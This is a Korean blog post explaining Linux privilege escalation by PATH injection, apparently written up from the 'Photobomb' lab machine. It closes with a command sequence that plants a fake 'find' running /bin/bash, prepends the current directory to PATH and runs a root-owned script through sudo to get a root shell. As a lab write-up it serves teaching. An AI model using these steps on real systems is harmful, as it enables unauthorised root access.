Home Privilige escalation with Path Injection
Post
Cancel

Privilige escalation with Path Injection

일반적으로 쉘을 따게 되면 ROOT 권한이 아니다.
그래서 이런저런 제약이 많기 때문에 ROOT 권한이나 상위 권한이 필요한 경우가 있다.
권한상승 취약점 중 하나인 Path Injection을 알아보자


Privilige escalation?

권한 상승(Privilige escalation)은 운영 체제나 소프트웨어 애플리케이션의 버그, 설계 및 구성 결함등을 악용하여 높은 엑세스 권한을 얻는 행위입니다.

권한 상승에는 두 가지의 형태로 발생합니다.

  • 수직적 권한 상승
  • 수평적 권한 상승

Vertical privilege escalation

수직적 권한상승(Vertical privilege escalation)은 낮은 권한의 사용자가 높은 권한을 이용하는 행위 입니다. ex) 일반 사용자 -> 관리자 권한을 필요한 결재등을 이용 가능 할때

Horizontal privilege escalation

수평적 권한상승(Horizontal privilege escalation)은 동등한 권한을 이용하는 행위 입니다. ex) 내 정보 보기 > 타 사용자 정보 보기가 가능할 때

Linux Privilige escalation

일반적으로 서버의 쉘을 획득하였을 때 루트 쉘이 아니기 때문에 이런저런 제약이 존재하며 루트나 상위 권한의 쉘이 필요한 경우가 있습니다. 이때 권한상승 취약점을 이용하여 루트 나 상위 권한의 쉘을 획득할 수 있습니다. Linux Privilege Escalation에서 여러가지 리눅스 권한 상승에 대해 설명이 되어있습니다.

해당 블로그는 Linux Path Injection을 통한 권한상승을 소개하는 글입니다.


Linux Path Injection

Linux Path Injection은 리눅스의 환경변수 $PATH를 이용하여 권한 상승 시키는 방법입니다.

권한 상승을 하기 위해선 아래와 같은 조건이 필요합니다.

  1. seuid, setgid가 설정되어 있는 파일 or 상위 권한으로 실행되고 있는 파일
  2. 해당 파일에서 명령어가 relative path로 실행되어야 함

SetUID & SetGID

리눅스에서 파일을 실행할 때 파일을 실행한 사용자(그룹)가 주체가 되어 프로세스를 실행합니다. 하지만 setuid, setgid가 설정되어 있는 파일을 실행한다면 파일을 소유하고 있는 소유자의 권한으로 프로세스를 실행합니다. ls -al 명령어로 확인을 하면 setuid, setgid가 설정되어 있는 파일은 s or S 가 표시되어 있습니다.

Relative Path & Absolute Path

리눅스에서 파일의 경로를 나타내는 방법은 두 가지가 존재합니다.

  1. Relative Path(상대 경로) 상대 경로는 현재 작업 디렉토리를 기준으로 파일 또는 폴더의 위치를 설명하는 경로입니다.

  2. Absolute Path(절대 경로) 절대 경로는 루트 디렉토리(/)를 기준으로 파일 또는 폴더의 위치를 설명하는 경로입니다.

Environment Variable

환경 변수는 프로세스가 컴퓨터에서 동작하는 방식에 영향을 미치는, 동적인 값들의 모임입니다.

리눅스에서 환경변수 관련 명령어는 아래와 같습니다.

1
2
3
4
5
6
7
8
9
10
11
#환경변수 저장
export [환경변수명] = [값]

#환경변수 출력
env 명령어

#환경변수들의 경로인 path를 출력하는 명령어
echo $PATH

#환경변수 해제
unset [환경변수명]

여기서 중요한 점은 리눅스에서 사용하는 명령어도 일종의 실행파일이라는 점 입니다. 즉 명령어 입력시 환경변수 PATH를 토대로(맨앞부터 읽음) 파일이 실행됩니다.


Privilige escalation

본론으로 돌아가서 Photobomb에서 Privilige escalation이 되는 이유에 대하여 다시 알아보자

  1. cleanup.sh 루트 권한으로 실행된다.
  2. cleanup.sh는 find 명령어를 사용하며 find 명령어는 Relatve Path 를 사용한다.
1
2
3
4
5
6
7
8
9
10
11
12
wizard@photobomb:~$ echo "/bin/bash" > find 
//현재 디렉토리에 find 파일을 만듬

wizard@photobomb:~$ chmod +x find
//find에 실행권한 부여

wizard@photobomb:~$ echo "sudo PATH=$PWD:$PATH /opt/cleanup.sh
//기존 환경변수에 $PWD 추가함
//find 함수는 상대경로를 이용하여 파일을 찾는데 환경변수 PWD등록하므로 현재 디렉토리에 find 파일이 먼저 실행되므로 /bin/bash가 실행되어 권한상승이 일어남

wizard@photobomb:~$ id
id uid=0(root) gid=0(root) groups=0(root)

다시 말하면 아래와 같습니다.

  1. 현재 경로에 find 라는 파일을 새로 만들어 /bin/bash 쉘을 사용하도록 함 + 실행권한 추가
  2. 환경 변수에 $PWD 를 저장하여 가장먼저 현재 경로를 참조하도록 만듬
  3. cleanup.sh가 실행될때 find 명령어가 실행되야하는데 환경 변수가 현재 경로에 있는 파일을 제일먼저 참조하므로 현재 경로에 있는 find 파일이 제일 먼저 실행됨
  4. Privilige escalation